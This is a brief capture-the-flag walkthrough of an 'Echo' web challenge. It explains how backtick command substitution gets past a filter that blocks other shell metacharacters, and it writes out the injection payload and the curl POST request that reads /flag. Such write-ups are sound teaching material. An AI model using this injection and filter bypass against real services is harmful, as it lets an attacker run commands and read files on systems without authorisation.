Echo
Echo
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: backtick_command_substitution, waf_bypass
Summary
Walkthrough of the CUSTOM Web Echo. Task: Echo service with WAF blocking most shell metacharacters. Solution: Use backtick command substitution to bypass WAF and read the flag file.
Description
An echo server at https://2019-10-13-cmdinj.ctf.su/task/echo1. Flag is in /flag on the server.
Analysis
The service takes user input and executes the command echo <user_input>. A WAF is present that blocks most shell metacharacters:
WAF rules:
;(semicolon) - disabled|(pipe) - disabled&&- disabled`(backtick) - ALLOWED$()- disabled#- disabled
Key point: backticks are allowed, which enables command substitution.
Solution
Since backtick is allowed, we can use command substitution to execute an arbitrary command:
bash read-only • copy allowed# Payload `cat /flag`
Sending a POST request:
bash read-only • copy allowedcurl -X POST https://2019-10-13-cmdinj.ctf.su/task/echo1 \ -d "what=\`cat /flag\`"
The server executes:
bash read-only • copy allowedecho `cat /flag`
How it works:
- Shell first executes the command inside backticks:
cat /flag - The result (file contents) is substituted in place of the backtick expression
echooutputs the substituted value — the flag
Key Takeaways / Lessons
- Mastering backtick_command_substitution, waf_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2019-10-13 • CUSTOM • Echo • Difficulty: Easy